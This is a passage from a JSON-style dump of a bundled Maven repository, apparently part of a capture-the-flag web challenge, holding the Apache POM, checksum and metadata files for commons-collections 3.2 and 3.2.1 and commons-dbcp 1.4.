</developer>\n    <developer>\n      <id>geirm</id>\n      <name>Geir Magnusson</name>\n      <email></email>\n      <organization></organization>\n    </developer>\n    <developer>\n      <id>craigmcc</id>\n      <name>Craig McClanahan</name>\n      <email></email>\n      <organization></organization>\n    </developer>\n    <developer>\n      <id>psteitz</id>\n      <name>Phil Steitz</name>\n      <email></email>\n      <organization></organization>\n    </developer>\n    <developer>\n      <id>amamment</id>\n      <name>Arun M. Thomas</name>\n      <email></email>\n      <organization></organization>\n    </developer>\n    <developer>\n      <id>rwaldhoff</id>\n      <name>Rodney Waldhoff</name>\n      <email></email>\n      <organization></organization>\n    </developer>\n    <developer>\n      <id>bayard</id>\n      <name>Henri Yandell</name>\n      <email></email>\n      <organization></organization>\n    </developer>\n    <developer>\n      <id>jcarman</id>\n      <name>James Carman</name>\n      <email></email>\n      <organization></organization>\n    </developer>\n    <developer>\n      <id>rdonkin</id>\n      <name>Robert Burrell Donkin</name>\n    </developer>\n  </developers>\n  <contributors>\n    <contributor>\n      <name>Rafael U. C. Afonso</name>\n    </contributor>\n    <contributor>\n      <name>Max Rydahl Andersen</name>\n    </contributor>\n    <contributor>\n      <name>Federico Barbieri</name>\n    </contributor>\n    <contributor>\n      <name>Arron Bates</name>\n    </contributor>\n    <contributor>\n      <name>Nicola Ken Barozzi</name>\n    </contributor>\n    <contributor>\n      <name>Sebastian Bazley</name>\n    </contributor>\n    <contributor>\n      <name>Matt Benson</name>\n    </contributor>\n    <contributor>\n      <name>Ola Berg</name>\n    </contributor>\n    <contributor>\n      <name>Christopher Berry</name>\n    </contributor>\n    <contributor>\n      <name>Nathan Beyer</name>\n    </contributor>\n    <contributor>\n      <name>Janek Bogucki</name>\n    </contributor>\n    <contributor>\n      <name>Chuck Burdick</name>\n    </contributor>\n    <contributor>\n      <name>Dave Bryson</name>\n    </contributor>\n    <contributor>\n      <name>Julien Buret</name>\n    </contributor>\n    <contributor>\n      <name>Jonathan Carlson</name>\n    </contributor>\n    <contributor>\n      <name>Ram Chidambaram</name>\n    </contributor>\n    <contributor>\n      <name>Steve Clark</name>\n    </contributor>\n    <contributor>\n      <name>Eric Crampton</name>\n    </contributor>\n    <contributor>\n      <name>Dimiter Dimitrov</name>\n    </contributor>\n    <contributor>\n      <name>Peter Donald</name>\n    </contributor>\n    <contributor>\n      <name>Steve Downey</name>\n    </contributor>\n    <contributor>\n      <name>Rich Dougherty</name>\n    </contributor>\n    <contributor>\n      <name>Tom Dunham</name>\n    </contributor>\n    <contributor>\n      <name>Stefano Fornari</name>\n    </contributor>\n    <contributor>\n      <name>Andrew Freeman</name>\n    </contributor>\n    <contributor>\n      <name>Gerhard Froehlich</name>\n    </contributor>\n    <contributor>\n      <name>Paul Jack</name>\n    </contributor>\n    <contributor>\n      <name>Eric Johnson</name>\n    </contributor>\n    <contributor>\n      <name>Kent Johnson</name>\n    </contributor>\n    <contributor>\n      <name>Marc Johnson</name>\n    </contributor>\n    <contributor>\n      <name>Nissim Karpenstein</name>\n    </contributor>\n    <contributor>\n      <name>Shinobu Kawai</name>\n    </contributor>\n    <contributor>\n      <name>Mohan Kishore</name>\n    </contributor>\n    <contributor>\n      <name>Simon Kitching</name>\n    </contributor>\n    <contributor>\n      <name>Thomas Knych</name>\n    </contributor>\n    <contributor>\n      <name>Serge Knystautas</name>\n    </contributor>\n    <contributor>\n      <name>Peter KoBek</name>\n    </contributor>\n    <contributor>\n      <name>Jordan Krey</name>\n    </contributor>\n    <contributor>\n      <name>Olaf Krische</name>\n    </contributor>\n    <contributor>\n      <name>Guilhem Lavaux</name>\n    </contributor>\n    <contributor>\n      <name>Paul Legato</name>\n    </contributor>\n    <contributor>\n      <name>David Leppik</name>\n    </contributor>\n    <contributor>\n      <name>Berin Loritsch</name>\n    </contributor>\n    <contributor>\n      <name>Stefano Mazzocchi</name>\n    </contributor>\n    <contributor>\n      <name>Brian McCallister</name>\n    </contributor>\n    <contributor>\n      <name>Steven Melzer</name>\n    </contributor>\n    <contributor>\n      <name>Leon Messerschmidt</name>\n    </contributor>\n    <contributor>\n      <name>Mauricio S. Moura</name>\n    </contributor>\n    <contributor>\n      <name>Kasper Nielsen</name>\n    </contributor>\n    <contributor>\n      <name>Stanislaw Osinski</name>\n    </contributor>\n    <contributor>\n      <name>Alban Peignier</name>\n    </contributor>\n    <contributor>\n      <name>Mike Pettypiece</name>\n    </contributor>\n    <contributor>\n      <name>Steve Phelps</name>\n    </contributor>\n    <contributor>\n      <name>Ilkka Priha</name>\n    </contributor>\n    <contributor>\n      <name>Jonas Van Poucke</name>\n    </contributor>\n    <contributor>\n      <name>Will Pugh</name>\n    </contributor>\n    <contributor>\n      <name>Herve Quiroz</name>\n    </contributor>\n    <contributor>\n      <name>Daniel Rall</name>\n    </contributor>\n    <contributor>\n      <name>Robert Ribnitz</name>\n    </contributor>\n    <contributor>\n      <name>Huw Roberts</name>\n    </contributor>\n    <contributor>\n      <name>Henning P. Schmiedehausen</name>\n    </contributor>\n    <contributor>\n      <name>Howard Lewis Ship</name>\n    </contributor>\n    <contributor>\n      <name>Joe Raysa</name>\n    </contributor>\n    <contributor>\n      <name>Thomas Schapitz</name>\n    </contributor>\n    <contributor>\n      <name>Jon Schewe</name>\n    </contributor>\n    <contributor>\n      <name>Andreas Schlosser</name>\n    </contributor>\n    <contributor>\n      <name>Christian Siefkes</name>\n    </contributor>\n    <contributor>\n      <name>Michael Smith</name>\n    </contributor>\n    <contributor>\n      <name>Stephen Smith</name>\n    </contributor>\n    <contributor>\n      <name>Jan Sorensen</name>\n    </contributor>\n    <contributor>\n      <name>Jon S. Stevens</name>\n    </contributor>\n    <contributor>\n      <name>James Strachan</name>\n    </contributor>\n    <contributor>\n      <name>Leo Sutic</name>\n    </contributor>\n    <contributor>\n      <name>Chris Tilden</name>\n    </contributor>\n    <contributor>\n      <name>Neil O'Toole</name>\n    </contributor>\n    <contributor>\n      <name>Jeff Turner</name>\n    </contributor>\n    <contributor>\n      <name>Kazuya Ujihara</name>\n    </contributor>\n    <contributor>\n      <name>Jeff Varszegi</name>\n    </contributor>\n    <contributor>\n      <name>Ralph Wagner</name>\n    </contributor>\n    <contributor>\n      <name>David Weinrich</name>\n    </contributor>\n    <contributor>\n      <name>Dieter Wimberger</name>\n    </contributor>\n    <contributor>\n      <name>Serhiy Yevtushenko</name>\n    </contributor>\n    <contributor>\n      <name>Jason van Zyl</name>\n    </contributor>\n  </contributors>\n  <licenses>\n    <license>\n      <name>The Apache Software License, Version 2.0</name>\n      <url>/LICENSE.txt</url>\n    </license>\n  </licenses>\n  <scm>\n    <connection>scm:svn:http://svn.apache.org/repos/asf/jakarta/commons/proper/collections/trunk</connection>\n    <url>http://svn.apache.org/repos/asf/jakarta/commons/proper/collections/trunk</url>\n  </scm>\n  <organization>\n    <name>The Apache Software Foundation</name>\n    <url>http://jakarta.apache.org</url>\n  </organization>\n  <build>\n    <sourceDirectory>src/java</sourceDirectory>\n    <testSourceDirectory>src/test</testSourceDirectory>\n    <resources>\n      <resource>\n        <targetPath>META-INF</targetPath>\n        <directory>.</directory>\n        <includes>\n          <include>NOTICE.txt</include>\n        </includes>\n      </resource>\n    </resources>\n    <plugins>\n      <plugin>\n        <artifactId>maven-surefire-plugin</artifactId>\n        <configuration>\n          <includes>\n            <include>org/apache/commons/collections/TestAllPackages.java</include>\n          </includes>\n        </configuration>\n      </plugin>\n      <plugin>\n        <groupId>maven-plugins</groupId>\n        <artifactId>maven-cobertura-plugin</artifactId>\n        <version>1.1.1</version>\n        <configuration>\n          <scope>test</scope>\n          <comment>Required only for generating test coverage reports.</comment>\n        </configuration>\n      </plugin>\n    </plugins>\n  </build>\n  <dependencies>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <version>3.8.1</version>\n      <scope>test</scope>\n    </dependency>\n  </dependencies>\n  <distributionManagement>\n    <repository>\n      <id>default</id>\n      <name>Default Repository</name>\n      <url>file:///www/jakarta.apache.org/builds/jakarta-commons/collections/</url>\n    </repository>\n    <site>\n      <id>default</id>\n      <name>Default Site</name>\n      <url>scp://people.apache.org//www/jakarta.apache.org/commons/collections/</url>\n    </site>\n    <status>converted</status>\n  </distributionManagement>\n</project>"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/commons-collections/commons-collections/3.2/commons-collections-3.2.pom.sha1",
    "content": "0c8e56dc5476c517f1596f0686d72f51ef24d9e3  /home/maven/repository-staging/to-ibiblio/maven2/commons-collections/commons-collections/3.2/commons-collections-3.2.pom\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/commons-collections/commons-collections/3.2.1/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:05:08 CST 2018\ncommons-collections-3.2.1.jar>central=\ncommons-collections-3.2.1.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/commons-collections/commons-collections/3.2.1/commons-collections-3.2.1.jar.sha1",
    "content": "761ea405b9b37ced573d2df0d1e3a4e0f9edc668\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/commons-collections/commons-collections/3.2.1/commons-collections-3.2.1.pom",
    "content": "<?xml version=\"1.0\"?>\n<!--\n   Licensed to the Apache Software Foundation (ASF) under one or more\n   contributor license agreements.  See the NOTICE file distributed with\n   this work for additional information regarding copyright ownership.\n   The ASF licenses this file to You under the Apache License, Version 2.0\n   (the \"License\"); you may not use this file except in compliance with\n   the License.  You may obtain a copy of the License at\n\n       http://www.apache.org/licenses/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing, software\n   distributed under the License is distributed on an \"AS IS\" BASIS,\n   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n   See the License for the specific collectionsuage governing permissions and\n   limitations under the License.\n-->\n<project\n    xmlns=\"http://maven.apache.org/POM/4.0.0\"\n    xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n    xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <parent>\n    <groupId>org.apache.commons</groupId>\n    <artifactId>commons-parent</artifactId>\n    <version>9</version>\n  </parent>\n  <modelVersion>4.0.0</modelVersion>\n  <groupId>commons-collections</groupId>\n  <artifactId>commons-collections</artifactId>\n  <version>3.2.1</version>\n  <name>Commons Collections</name>\n\n  <inceptionYear>2001</inceptionYear>\n  <description>Types that extend and augment the Java Collections Framework.</description>\n\n  <url>http://commons.apache.org/collections/</url>\n\n  <issueManagement>\n    <system>jira</system>\n    <url>http://issues.apache.org/jira/browse/COLLECTIONS</url>\n  </issueManagement>\n\n  <scm>\n    <connection>scm:svn:http://svn.apache.org/repos/asf/commons/proper/collections/trunk</connection>\n    <developerConnection>scm:svn:https://svn.apache.org/repos/asf/commons/proper/collections/trunk</developerConnection>\n    <url>http://svn.apache.org/viewvc/commons/proper/collections/trunk</url>\n  </scm>\n\n  <developers>\n    <developer>\n      <name>Stephen Colebourne</name>\n      <id>scolebourne</id>\n      <email></email>\n      <organization></organization>\n    </developer>\n    <developer>\n      <name>Morgan Delagrange</name>\n      <id>morgand</id>\n      <email></email>\n      <organization></organization>\n    </developer>\n    <developer>\n      <name>Matthew Hawthorne</name>\n      <id>matth</id>\n      <email></email>\n      <organization></organization>\n    </developer>\n    <developer>\n      <name>Geir Magnusson</name>\n      <id>geirm</id>\n      <email></email>\n      <organization></organization>\n    </developer>\n    <developer>\n      <name>Craig McClanahan</name>\n      <id>craigmcc</id>\n      <email></email>\n      <organization></organization>\n    </developer>\n    <developer>\n      <name>Phil Steitz</name>\n      <id>psteitz</id>\n      <email></email>\n      <organization></organization>\n    </developer>\n    <developer>\n      <name>Arun M. Thomas</name>\n      <id>amamment</id>\n      <email></email>\n      <organization></organization>\n    </developer>\n    <developer>\n      <name>Rodney Waldhoff</name>\n      <id>rwaldhoff</id>\n      <email></email>\n      <organization></organization>\n    </developer>\n    <developer>\n      <name>Henri Yandell</name>\n      <id>bayard</id>\n      <email></email>\n      <organization></organization>\n    </developer>\n    <developer>\n      <name>James Carman</name>\n      <id>jcarman</id>\n      <email></email>\n      <organization></organization>\n    </developer>\n    <developer>\n      <name>Robert Burrell Donkin</name>\n      <id>rdonkin</id>\n    </developer>\n  </developers>\n  \n  <contributors>\n    <contributor>\n      <name>Rafael U. C. Afonso</name>\n    </contributor>\n    <contributor>\n      <name>Max Rydahl Andersen</name>\n    </contributor>\n    <contributor>\n      <name>Federico Barbieri</name>\n    </contributor>\n    <contributor>\n      <name>Arron Bates</name>\n    </contributor>\n    <contributor>\n      <name>Nicola Ken Barozzi</name>\n    </contributor>\n    <contributor>\n      <name>Sebastian Bazley</name>\n    </contributor>\n    <contributor>\n      <name>Matt Benson</name>\n    </contributor>\n    <contributor>\n      <name>Ola Berg</name>\n    </contributor>\n    <contributor>\n      <name>Christopher Berry</name>\n    </contributor>\n    <contributor>\n      <name>Nathan Beyer</name>\n    </contributor>\n    <contributor>\n      <name>Janek Bogucki</name>\n    </contributor>\n    <contributor>\n      <name>Chuck Burdick</name>\n    </contributor>\n    <contributor>\n      <name>Dave Bryson</name>\n    </contributor>\n    <contributor>\n      <name>Julien Buret</name>\n    </contributor>\n    <contributor>\n      <name>Jonathan Carlson</name>\n    </contributor>\n    <contributor>\n      <name>Ram Chidambaram</name>\n    </contributor>\n    <contributor>\n      <name>Steve Clark</name>\n    </contributor>\n    <contributor>\n      <name>Eric Crampton</name>\n    </contributor>\n    <contributor>\n      <name>Dimiter Dimitrov</name>\n    </contributor>\n    <contributor>\n      <name>Peter Donald</name>\n    </contributor>\n    <contributor>\n      <name>Steve Downey</name>\n    </contributor>\n    <contributor>\n      <name>Rich Dougherty</name>\n    </contributor>\n    <contributor>\n      <name>Tom Dunham</name>\n    </contributor>\n    <contributor>\n      <name>Stefano Fornari</name>\n    </contributor>\n    <contributor>\n      <name>Andrew Freeman</name>\n    </contributor>\n    <contributor>\n      <name>Gerhard Froehlich</name>\n    </contributor>\n    <contributor>\n      <name>Paul Jack</name>\n    </contributor>\n    <contributor>\n      <name>Eric Johnson</name>\n    </contributor>\n    <contributor>\n      <name>Kent Johnson</name>\n    </contributor>\n    <contributor>\n      <name>Marc Johnson</name>\n    </contributor>\n    <contributor>\n      <name>Nissim Karpenstein</name>\n    </contributor>\n    <contributor>\n      <name>Shinobu Kawai</name>\n    </contributor>\n    <contributor>\n      <name>Mohan Kishore</name>\n    </contributor>\n    <contributor>\n      <name>Simon Kitching</name>\n    </contributor>\n    <contributor>\n      <name>Thomas Knych</name>\n    </contributor>\n    <contributor>\n      <name>Serge Knystautas</name>\n    </contributor>\n    <contributor>\n      <name>Peter KoBek</name>\n    </contributor>\n    <contributor>\n      <name>Jordan Krey</name>\n    </contributor>\n    <contributor>\n      <name>Olaf Krische</name>\n    </contributor>\n    <contributor>\n      <name>Guilhem Lavaux</name>\n    </contributor>\n    <contributor>\n      <name>Paul Legato</name>\n    </contributor>\n    <contributor>\n      <name>David Leppik</name>\n    </contributor>\n    <contributor>\n      <name>Berin Loritsch</name>\n    </contributor>\n    <contributor>\n      <name>Hendrik Maryns</name>\n    </contributor>\n    <contributor>\n      <name>Stefano Mazzocchi</name>\n    </contributor>\n    <contributor>\n      <name>Brian McCallister</name>\n    </contributor>\n    <contributor>\n      <name>Steven Melzer</name>\n    </contributor>\n    <contributor>\n      <name>Leon Messerschmidt</name>\n    </contributor>\n    <contributor>\n      <name>Mauricio S. Moura</name>\n    </contributor>\n    <contributor>\n      <name>Kasper Nielsen</name>\n    </contributor>\n    <contributor>\n      <name>Stanislaw Osinski</name>\n    </contributor>\n    <contributor>\n      <name>Alban Peignier</name>\n    </contributor>\n    <contributor>\n      <name>Mike Pettypiece</name>\n    </contributor>\n    <contributor>\n      <name>Steve Phelps</name>\n    </contributor>\n    <contributor>\n      <name>Ilkka Priha</name>\n    </contributor>\n    <contributor>\n      <name>Jonas Van Poucke</name>\n    </contributor>\n    <contributor>\n      <name>Will Pugh</name>\n    </contributor>\n    <contributor>\n      <name>Herve Quiroz</name>\n    </contributor>\n    <contributor>\n      <name>Daniel Rall</name>\n    </contributor>\n    <contributor>\n      <name>Robert Ribnitz</name>\n    </contributor>\n    <contributor>\n      <name>Huw Roberts</name>\n    </contributor>\n    <contributor>\n      <name>Henning P. Schmiedehausen</name>\n    </contributor>\n    <contributor>\n      <name>Howard Lewis Ship</name>\n    </contributor>\n    <contributor>\n      <name>Joe Raysa</name>\n    </contributor>\n    <contributor>\n      <name>Thomas Schapitz</name>\n    </contributor>\n    <contributor>\n      <name>Jon Schewe</name>\n    </contributor>\n    <contributor>\n      <name>Andreas Schlosser</name>\n    </contributor>\n    <contributor>\n      <name>Christian Siefkes</name>\n    </contributor>\n    <contributor>\n      <name>Michael Smith</name>\n    </contributor>\n    <contributor>\n      <name>Stephen Smith</name>\n    </contributor>\n    <contributor>\n      <name>Jan Sorensen</name>\n    </contributor>\n    <contributor>\n      <name>Jon S. Stevens </name>\n    </contributor>\n    <contributor>\n      <name>James Strachan</name>\n    </contributor>\n    <contributor>\n      <name>Leo Sutic</name>\n    </contributor>\n    <contributor>\n      <name>Chris Tilden</name>\n    </contributor>\n    <contributor>\n      <name>Neil O'Toole</name>\n    </contributor>\n    <contributor>\n      <name>Jeff Turner</name>\n    </contributor>\n    <contributor>\n      <name>Kazuya Ujihara</name>\n    </contributor>\n    <contributor>\n      <name>Jeff Varszegi</name>\n    </contributor>\n    <contributor>\n      <name>Ralph Wagner</name>\n    </contributor>\n    <contributor>\n      <name>David Weinrich</name>\n    </contributor>\n    <contributor>\n      <name>Dieter Wimberger</name>\n    </contributor>\n    <contributor>\n      <name>Serhiy Yevtushenko</name>\n    </contributor>\n    <contributor>\n      <name>Jason van Zyl</name>\n    </contributor>\n  </contributors>\n\n  <dependencies>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <version>3.8.1</version>\n      <scope>test</scope>\n    </dependency>\n  </dependencies>\n\n  <properties>\n    <maven.compile.source>1.2</maven.compile.source>\n    <maven.compile.target>1.2</maven.compile.target>\n    <commons.componentid>collections</commons.componentid>\n    <commons.release.version>3.2.1</commons.release.version>\n    <commons.binary.suffix>-bin</commons.binary.suffix>\n    <commons.jira.id>COLLECTIONS</commons.jira.id>\n    <commons.jira.pid>12310465</commons.jira.pid>\n  </properties> \n\n  <build>\n    <sourceDirectory>src/java</sourceDirectory>\n    <testSourceDirectory>src/test</testSourceDirectory>\n      <plugins>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-surefire-plugin</artifactId>\n            <configuration>\n              <includes>\n                <include>org/apache/commons/collections/TestAllPackages.java</include>\n              </includes>\n          </configuration>\n        </plugin>\n        <plugin>\n          <artifactId>maven-antrun-plugin</artifactId>\n          <executions>\n            <execution>\n              <phase>package</phase>\n              <configuration>\n                <tasks>\n                  <ant antfile=\"build-testframework.xml\" target=\"jar\">\n                    <property name=\"component.version\"    value=\"${project.version}\"/>\n                    <property name=\"test.classes\"         value=\"${project.build.directory}/test-classes\"/>\n                    <property name=\"dist.home\"            value=\"${project.build.directory}\"/>\n                    <property name=\"maven.compile.source\" value=\"${maven.compile.source}\"/>\n                    <property name=\"maven.compile.target\" value=\"${maven.compile.target}\"/>\n                  </ant>\n                </tasks>\n              </configuration>\n              <goals>\n                <goal>run</goal>\n              </goals>\n            </execution>\n          </executions>\n        </plugin>\n        <plugin>\n          <artifactId>maven-assembly-plugin</artifactId>\n          <configuration>\n            <descriptors>\n              <descriptor>src/assembly/bin.xml</descriptor>\n              <descriptor>src/assembly/src.xml</descriptor>\n            </descriptors>\n            <tarLongFileMode>gnu</tarLongFileMode>\n          </configuration>\n        </plugin>\n      </plugins>\n    </build>\n\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/commons-collections/commons-collections/3.2.1/commons-collections-3.2.1.pom.sha1",
    "content": "c812635cfb96cd2431ee315e73418eed86aeb5e4\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/commons-dbcp/commons-dbcp/1.4/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:05 CST 2018\ncommons-dbcp-1.4.jar>central=\ncommons-dbcp-1.4.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/commons-dbcp/commons-dbcp/1.4/commons-dbcp-1.4.jar.sha1",
    "content": "30be73c965cc990b153a100aaaaafcf239f82d39"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/commons-dbcp/commons-dbcp/1.4/commons-dbcp-1.4.pom",
    "content": "<?xml version=\"1.0\"?>\n<!--\n   Licensed to the Apache Software Foundation (ASF) under one or more\n   contributor license agreements.  See the NOTICE file distributed with\n   this work for additional information regarding copyright ownership.\n   The ASF licenses this file to You under the Apache License, Version 2.0\n   (the \"License\"); you may not use this file except in compliance with\n   the License.  You may obtain a copy of the License at\n\n       http://www.apache.org/licenses/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing, software\n   distributed under the License is distributed on an \"AS IS\" BASIS,\n   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n   See the License for the specific language governing permissions and\n   limitations under the License.\n-->\n<project\n    xmlns=\"http://maven.apache.org/POM/4.0.0\"\n    xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n    xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <parent>\n    <groupId>org.apache.commons</groupId>\n    <artifactId>commons-parent</artifactId>\n    <version>12</version>\n  </parent>\n  <modelVersion>4.0.0</modelVersion>\n  <groupId>commons-dbcp</groupId>\n  <artifactId>commons-dbcp</artifactId>\n  <version>1.4</version>\n  <name>Commons DBCP</name>\n\n  <inceptionYear>2001</inceptionYear>\n  <description>Commons Database Connection Pooling</description>\n  <url>http://commons.apache.org/dbcp/</url>\n\n  <distributionManagement>\n    <site>\n      <id>people.apache.org</id>\n      <name>Commons DBCP</name>\n      <url>scp://people.apache.org/www/commons.apache.org/dbcp</url>\n    </site>\n  </distributionManagement>\n  \n  <issueManagement>\n    <system>jira</system>\n    <url>http://issues.apache.org/jira/browse/DBCP</url>\n  </issueManagement>\n\n  <scm>\n    <connection>scm:svn:http://svn.apache.org/repos/asf/commons/proper/dbcp/trunk</connection>\n    <developerConnection>scm:svn:https://svn.apache.org/repos/asf/commons/proper/dbcp/trunk</developerConnection>\n    <url>http://svn.apache.org/viewvc/commons/proper/dbcp/trunk</url>\n  </scm>\n\n  <developers>\n    <developer>\n      <name>Morgan Delagrange</name>\n      <id>morgand</id>\n      <email></email>\n      <organization></organization>\n    </developer>\n    <developer>\n      <name>Geir Magnusson</name>\n      <id>geirm</id>\n      <email></email>\n      <organization></organization>\n    </developer>\n    <developer>\n      <name>Craig McClanahan</name>\n      <id>craigmcc</id>\n      <email></email>\n      <organization></organization>\n    </developer>\n    <developer>\n      <name>John McNally</name>\n      <id>jmcnally</id>\n      <email></email>\n      <organization></organization>\n    </developer>\n    <developer>\n      <name>Martin Poeschl</name>\n      <id>mpoeschl</id>\n      <email>mpoeschl@marmot.at</email>\n      <organization>tucana.at</organization>\n    </developer>\n    <developer>\n      <name>Rodney Waldhoff</name>\n      <id>rwaldhoff</id>\n      <email></email>\n      <organization></organization>\n    </developer>\n    <developer>\n      <name>David Weinrich</name>\n      <id>dweinr1</id>\n      <email></email>\n      <organization></organization>\n    </developer>\n    <developer>\n      <name>Dirk Verbeeck</name>\n      <id>dirkv</id>\n      <email></email>\n      <organization></organization>\n    </developer>\n    <developer>\n      <name>Yoav Shapira</name>\n      <id>yoavs</id>\n      <email>yoavs@apache.org</email>\n      <organization>Apache Software Foundation</organization>\n    </developer>\n    <developer>\n      <name>Phil Steitz</name>\n      <id>psteitz</id>\n      <email></email>\n      <organization></organization>\n    </developer>\n    <developer>\n      <name>J&#x00f6;rg Schaible</name>\n      <id>joehni</id>\n      <email>joerg.schaible@gmx.de</email>\n      <organization></organization>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <name>Mark Thomas</name>\n      <id>markt</id>\n      <email>markt@apache.org</email>\n      <organization>Apache Software Foundation</organization>\n    </developer>\n  </developers>\n  <contributors>\n    <contributor>\n      <name>Todd Carmichael</name>\n      <email>toddc@concur.com</email>\n    </contributor>\n    <contributor>\n      <name>Wayne Woodfield</name>\n    </contributor>\n    <contributor>\n      <name>Dain Sundstrom</name>\n      <email>dain@apache.org</email>\n    </contributor>\n    <contributor>\n      <name>Philippe Mouawad</name>\n    </contributor>\n  </contributors>\n\n  <dependencies>\n    <dependency>\n      <groupId>commons-pool</groupId>\n      <artifactId>commons-pool</artifactId>\n      <version>1.5.4</version>\n    </dependency>\n\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <version>3.8.2</version>\n      <scope>test</scope>\n    </dependency>\n\n    <!-- For managed connections -->\n    <dependency>\n      <groupId>org.apache.geronimo.specs</groupId>\n      <artifactId>geronimo-jta_1.1_spec</artifactId>\n       <version>1.1.1</version>\n       <optional>true</optional>\n    </dependency>\n\n    <!-- tomcat naming jars for jndi reference tests -->\n    <dependency>\n      <groupId>tomcat</groupId>\n      <artifactId>naming-common</artifactId>\n      <version>5.0.28</version>\n      <scope>test</scope>\n    </dependency>\n    \n    <dependency>\n      <groupId>tomcat</groupId>\n      <artifactId>naming-java</artifactId>\n      <version>5.0.28</version>\n      <scope>test</scope>\n    </dependency>\n    \n    <!-- dragged in by tomcat-naming jars - only for jndi tests -->\n    <dependency>\n      <groupId>commons-logging</groupId>\n      <artifactId>commons-logging</artifactId>\n       <version>1.1.1</version>\n       <scope>test</scope>\n    </dependency>\n\n    <!-- for testing of managed connections -->\n    <dependency>\n      <groupId>org.apache.geronimo.modules</groupId>\n      <artifactId>geronimo-transaction</artifactId>\n       <version>1.2-beta</version>\n       <scope>test</scope>\n    </dependency>\n  </dependencies>\n\n  <properties>\n    <maven.compile.source>1.6</maven.compile.source>\n    <maven.compile.target>1.6</maven.compile.target>\n    <commons.componentid>dbcp</commons.componentid>\n    <commons.release.version>1.4</commons.release.version>\n    <commons.jira.id>DBCP</commons.jira.id>\n    <commons.jira.pid>12310469</commons.jira.pid>\n  </properties> \n\n  <build>\n    <sourceDirectory>src/java</sourceDirectory>\n    <testSourceDirectory>src/test</testSourceDirectory>\n    <resources>\n      <resource>\n        <directory>src/test</directory>\n        <includes>\n          <include>testpool.jocl</include>\n        </includes>\n      </resource>\n      <resource>\n        <directory>.</directory>\n        <targetPath>META-INF</targetPath>\n          <includes>\n            <include>NOTICE.txt</include>\n            <include>LICENSE.txt</include>\n          </includes>\n        </resource>\n      </resources>\n      <testResources>\n        <testResource>\n          <directory>${basedir}/src/test</directory>\n          <includes>\n            <include>testpool.jocl</include>\n          </includes>\n        </testResource>\n      </testResources>\n      <plugins>\n        <!-- Specify cobertura version for \"cobertura:cobertura\" goal -->\n        <plugin>\n          <groupId>org.codehaus.mojo</groupId>\n          <artifactId>cobertura-maven-plugin</artifactId>\n          <version>2.3</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-surefire-plugin</artifactId>\n            <configuration>\n            <reportFormat>plain</reportFormat>\n              <excludes>\n                <!-- Test support files -->\n                <exclude>**/Tester*.java</exclude>\n                <!-- Exclude nested classes which Surefire cannot handle --> \n                <exclude>**/Test*$*.java</exclude>\n              </excludes>\n          </configuration>\n        </plugin>\n        <plugin>\n          <artifactId>maven-assembly-plugin</artifactId>\n          <configuration>\n            <descriptors>\n              <descriptor>src/assembly/bin.xml</descriptor>\n              <descriptor>src/assembly/src.xml</descriptor>\n            </descriptors>\n            <tarLongFileMode>gnu</tarLongFileMode>\n          </configuration>\n        </plugin>\n      </plugins>\n    </build>\n    <reporting>\n      <plugins>\n        <plugin>\n          <groupId>org.codehaus.mojo</groupId>\n          <artifactId>findbugs-maven-plugin</artifactId>\n          <version>2.1</version>\n          <configuration>\n            <threshold>Normal</threshold>\n            <effort>Default</effort>\n            <excludeFilterFile>${basedir}/findbugs-exclude-filter.xml</excludeFilterFile>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.codehaus.mojo</groupId>\n          <artifactId>cobertura-maven-plugin</artifactId>\n          <version>2.3</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-javadoc-plugin</artifactId>\n          <version>2.4</version>\n          <configuration>\n            <links>\n              <link>http://java.sun.com/j2se/1.5.0/docs/api</link>\n              <link>http://commons.apache.org/pool/api-1.5.4</link>\n              <link>http://java.sun.com/j2ee/sdk_1.3/techdocs/api</link>\n            </links>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-changes-plugin</artifactId>\n          <version>2.0</version>\n          <configuration>\n            <xmlPath>${basedir}/xdocs/changes.xml</xmlPath>\n            <issueLinkTemplate>%URL%/%ISSUE%</issueLinkTemplate>\n            <template>dbcp-release-notes.vm</template>\n            <templateDirectory>src/template</templateDirectory>\n          </configuration>\n          <reportSets>\n            <reportSet>\n              <reports>\n                <report>changes-report</report>\n              </reports>\n            </reportSet>\n          </reportSets>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-checkstyle-plugin</artifactId>\n          <version>2.1</version>\n          <configuration>\n            <configLocation>${basedir}/checkstyle.xml</configLocation>\n            <enableRulesSummary>false</enableRulesSummary>\n          